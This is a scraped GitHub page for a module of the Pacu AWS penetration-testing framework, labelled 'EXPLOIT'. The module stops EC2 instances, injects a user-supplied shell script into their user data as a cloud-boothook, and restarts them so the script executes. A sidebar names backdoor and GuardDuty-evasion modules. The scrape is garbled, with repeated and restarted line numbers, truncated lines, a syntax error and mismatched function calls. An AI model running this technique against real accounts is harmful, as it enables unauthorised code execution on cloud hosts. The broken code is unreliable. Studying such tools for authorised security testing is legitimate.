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pacu / pacu / modules / ec2__startup_shell_script / main.py

austinsonger Typos (#302) 5b57b93 · 2 years ago History

Code Blame 183 lines (151 loc) · 7.28 KB Raw Copy Download

```
1  #!/usr/bin/env python3
2  import argparse
3  import base64
4  from botocore.exceptions import ClientError
5  import time
6  import random
7
8
9  module_info = {
10     # Name of the module (should be the same as the filename)
11     'name': 'ec2__startup_shell_script',
12
13     # Name and any other notes about the author
14     'author': 'Spencer Gietzen of Rhino Security Labs based on the idea from https://gi
15
16     # Category of the module. Make sure the name matches an existing category.
17     'category': 'EXPLOIT',
18
19     # One liner description of the module functionality. This shows up when a user sear
20     'one_liner': 'Stops and restarts EC2 instances to execute code.',
21
22     # Description about what the module does and how it works
23     'description': 'This module will attempt to stop the chosen EC2 instances, store/di
24
25     # A list of AWS services that the module utilizes during its execution
26     'services': ['EC2'],
27
28     # For prerequisite modules, try and see if any existing modules return the data tha
29     'prerequisite_modules': ['ec2__enum'],
30
31     # Module arguments to autocomplete when the user hits tab
32     'arguments_to_autocomplete': ['--script', '--instance-ids'],
33 }
34
35 parser = argparse.ArgumentParser(add_help=False, description=module_info['description'])
36
37 parser.add_argument('--script', required=True, help='File path of the shell script to a
38 parser.add_argument('--instance-ids', required=False, default=None, help='One or more (
39
40
41 def main(args, pacu_main):
42     session = pacu_main.get_active_session()
43
44     ##### Don't modify these. They can be removed if you are not using the function.
45     args = parser.parse_args(args)
46     print = pacu_main.print
47     fetch_data = pacu_main.fetch_data
48     get_regions = pacu_main.get_regions
49     #####
50
51     regions = get_regions('ec2')
52
53     client = pacu_main.get_boto3_client('ec2', random.choice(regions))
54
55     instances = []
56     if args.instance_ids is not None: # need to update this to include the regions of
57         for instance_id in args.instance_ids.split(','):
```

- >  guardduty__list_accounts
- >  guardduty__list_findings
- >  guardduty__whitelist_ip
- >  iam__backdoor_assume_role
- >  iam__backdoor_users_keys
- >  iam backdoor users password

```
37         for instance in args.instance_ids.split(' '), ):
38             if "@" not in instance:
39                 print("Usage: <instance-id>@<region>    ex: i-abcdef12345@us-west-2")
40                 return({"error": "invalid usage"})
41             instances.append({
42                 'InstanceId': instance.split('@')[0],
43                 'Region': instance.split('@')[1]
44             })
45     else:
46         print('Targeting all EC2 instances...')
47         if fetch_data(['EC2', 'Instances'], module_info['prerequisite_modules'][0], '--'):
48             print('Sub-module run failed')
49             return
50         for instance in session.EC2['Instances']:
51             instances.append({
52                 'InstanceId': instance['InstanceId'],
53                 'Region': instance['Region']
54             })
55     instance_count = 0
56     for region in regions:
57         client = pacu_main.get_boto3_client('ec2', region)
58         for instance in instances:
59             if instance['Region'] == region:
60                 result = stop_instance(client, instance['InstanceId'], print)
61                 if result:
62                     update_userdata(client, instance['InstanceId'], prepare_user_data(client, instance['InstanceId'], script))
63                     start_instance(client, instance['InstanceId'], print)
64                     instance_count += 1
65             else:
66                 print(' {}@{} FAILED'.format(instance['InstanceId'], instance['Region']))
67     return {'Instances': instance_count}
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```
132         response = client.describe_instance_attribute(
133             Attribute='userData',
134             InstanceId=instance_id
135         )
136         user_data = ''
137         if response['UserData']:
138             user_data = base64.b64decode(response['UserData']['Value']).decode("utf-8")
139             # Save the current data in case there is something sensitive
140             # with open('output/scrapedUserData.txt', 'a+') as scraped_user_data_file:
141             #     scraped_user_data_file.write('User data for instance id {}: {}\n'.for
142
143         with open(script, 'r') as shell_script:
144             # Append our script to their old user data to not screw up the instance
145             user_data = '#cloud-boothook\n{}\n\n{}'.format(shell_script.read(), user_da
146
147         return user_data
148     except ClientError as error:
149         code = error.response['Error']['Code']
150         print('FAILURE: ')
151         if code == 'UnauthorizedOperation':
152             print(' Access denied to DescribeInstanceAttribute.')
153         else:
154             print(' ' + code)
155         return False
156
157
158     def update_userdata(client, instance_id, user_data, print):
159         print('Setting User Data for {}'.format(instance_id))
160
161         result = False
162         code = 'IncorrectInstanceState'
163
164         while(code == 'IncorrectInstanceState' and not result):
165             try:
166                 client.modify_instance_attribute(
167                     InstanceId=instance_id,
168                     UserData={
169                         'Value': user_data
170                     }
171                 )
172                 result = True
173             except ClientError as error:
174                 code = error.response['Error']['Code']
175                 if code == 'UnauthorizedOperation':
176                     print(' Access denied to ModifyInstanceAttribute.')
177                     return False
178                 elif code != 'IncorrectInstanceState':
179                     print(error.response['Error']['Message'])
180                     return False
181                 time.sleep(5)
182
183         return result
```